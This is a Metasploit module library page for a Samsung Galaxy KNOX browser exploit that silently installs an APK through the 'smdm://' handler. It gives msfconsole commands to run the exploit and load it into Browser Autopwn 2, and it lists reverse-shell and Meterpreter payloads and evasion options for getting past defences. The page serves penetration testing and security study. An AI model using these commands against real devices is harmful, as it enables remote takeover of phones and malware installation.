Samsung Galaxy KNOX Android Browser RCE - Metasploit
This page contains detailed information about how to use the exploit/android/browser/samsung_knox_smdm_url metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Samsung Galaxy KNOX Android Browser RCE
Module: exploit/android/browser/samsung_knox_smdm_url
Source code: modules/exploits/android/browser/samsung_knox_smdm_url.rb
Disclosure date: 2014-11-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): dalvik
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -
A vulnerability exists in the KNOX security component of the Samsung Galaxy firmware that allows a remote webpage to install an APK with arbitrary permissions by abusing the 'smdm://' protocol handler registered by the KNOX component. The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/android/browser/samsung_knox_smdm_url
msf exploit(samsung_knox_smdm_url) > run
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN samsung_knox_smdm_url
INCLUDE_PATTERN => samsung_knox_smdm_url
msf auxiliary(browser_autopwn2) > exploit
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Msfconsole Usage
Here is how the android/browser/samsung_knox_smdm_url exploit module looks in the msfconsole:
msf6 > use exploit/android/browser/samsung_knox_smdm_url
[*] Using configured payload android/meterpreter/reverse_tcp
msf6 exploit(android/browser/samsung_knox_smdm_url) > show info
Name: Samsung Galaxy KNOX Android Browser RCE
Module: exploit/android/browser/samsung_knox_smdm_url
Platform: Android
Arch: dalvik
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-11-12
Provided by:
Andre Moulu
jduck <[email protected]>
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
APK_VERSION 1337 no The update version to advertise to the client
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
A vulnerability exists in the KNOX security component of the Samsung
Galaxy firmware that allows a remote webpage to install an APK with
arbitrary permissions by abusing the 'smdm://' protocol handler
registered by the KNOX component. The vulnerability has been
confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4.
References:
http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html
OSVDB (114590)
Module Options
This is a complete list of options available in the android/browser/samsung_knox_smdm_url exploit:
msf6 exploit(android/browser/samsung_knox_smdm_url) > show options
Module options (exploit/android/browser/samsung_knox_smdm_url):
Name Current Setting Required Description
---- --------------- -------- -----------
APK_VERSION 1337 no The update version to advertise to the client
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the android/browser/samsung_knox_smdm_url exploit:
msf6 exploit(android/browser/samsung_knox_smdm_url) > show advanced
Module advanced options (exploit/android/browser/samsung_knox_smdm_url):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
CookieExpiration no Cookie expiration in years (blank=expire on exit)
CookieName __ua no The name of the tracking cookie
Custom404 no An external custom 404 URL (Example: http://example.com/404.html)
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
JsIdentifiers no Identifiers to preserve for JsObfu
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AndroidHideAppIcon false no Hide the application icon automatically after launch
AndroidMeterpreterDebug false no Run the payload in debug mode, with logging enabled
AndroidWakelock true no Acquire a wakelock before starting the payload
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the android/browser/samsung_knox_smdm_url module can exploit:
msf6 exploit(android/browser/samsung_knox_smdm_url) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the android/browser/samsung_knox_smdm_url exploit:
msf6 exploit(android/browser/samsung_knox_smdm_url) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/android/meterpreter/reverse_http normal No Android Meterpreter, Android Reverse HTTP Stager
1 payload/android/meterpreter/reverse_https normal No Android Meterpreter, Android Reverse HTTPS Stager
2 payload/android/meterpreter/reverse_tcp normal No Android Meterpreter, Android Reverse TCP Stager
3 payload/android/meterpreter_reverse_http normal No Android Meterpreter Shell, Reverse HTTP Inline
4 payload/android/meterpreter_reverse_https normal No Android Meterpreter Shell, Reverse HTTPS Inline
5 payload/android/meterpreter_reverse_tcp normal No Android Meterpreter Shell, Reverse TCP Inline
6 payload/android/shell/reverse_http normal No Command Shell, Android Reverse HTTP Stager
7 payload/android/shell/reverse_https normal No Command Shell, Android Reverse HTTPS Stager
8 payload/android/shell/reverse_tcp normal No Command Shell, Android Reverse TCP Stager
9 payload/generic/custom normal No Custom Payload
10 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
11 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the android/browser/samsung_knox_smdm_url exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(android/browser/samsung_knox_smdm_url) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #5142 Merged Pull Request: Add missing Rank
- #4234 Merged Pull Request: Add jduck as an author on samsung_knox_smdm_url
- #4186 Merged Pull Request: Add module for samsung knox android arbitrary permission RCE
References
- CVE: Not available
- http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html
- OSVDB (114590)
See Also
Check also the following modules related to this module:
- exploit/linux/http/samsung_srv_1670d_upload_exec
- exploit/windows/browser/samsung_neti_wiewer_backuptoavi_bof
- exploit/windows/browser/samsung_security_manager_put
- auxiliary/admin/http/sophos_wpa_traversal
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/linux/http/sophos_wpa_iface_exec
- exploit/linux/http/sophos_wpa_sblistpack_exec
- exploit/linux/local/sophos_wpa_clear_keys
- exploit/windows/http/psoproxy91_overflow
- exploit/android/browser/stagefright_mp4_tx3g_64bit
- exploit/android/browser/webview_addjavascriptinterface
- auxiliary/gather/samsung_browser_sop_bypass
- exploit/linux/http/peercast_url
- exploit/windows/browser/greendam_url
- exploit/windows/browser/lpviewer_url
- exploit/windows/browser/mirc_irc_url
- exploit/windows/http/peercast_url
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/flash_rosetta_jsonp_url_disclosure
- auxiliary/gather/safari_file_url_navigation
- auxiliary/scanner/http/smt_ipmi_url_redirect_traversal
- auxiliary/scanner/sap/sap_icm_urlscan
- exploit/multi/http/git_submodule_url_exec
- exploit/windows/browser/foxit_reader_plugin_url_bof
- exploit/windows/fileformat/real_player_url_property_bof
- exploit/windows/browser/awingsoft_winds3d_sceneurl
- exploit/windows/browser/blackice_downloadimagefileurl
- exploit/windows/browser/cisco_playerpt_setsource_surl
- exploit/windows/browser/gom_openurl
- exploit/windows/browser/ms09_043_owc_htmlurl
- exploit/windows/browser/novelliprint_callbackurl
- exploit/windows/fileformat/djvu_imageurl
- exploit/windows/http/serviio_checkstreamurl_cmd_exec
- exploit/windows/iis/iis_webdav_scstoragepathfromurl
Authors
- Andre Moulu
- jduck
- joev
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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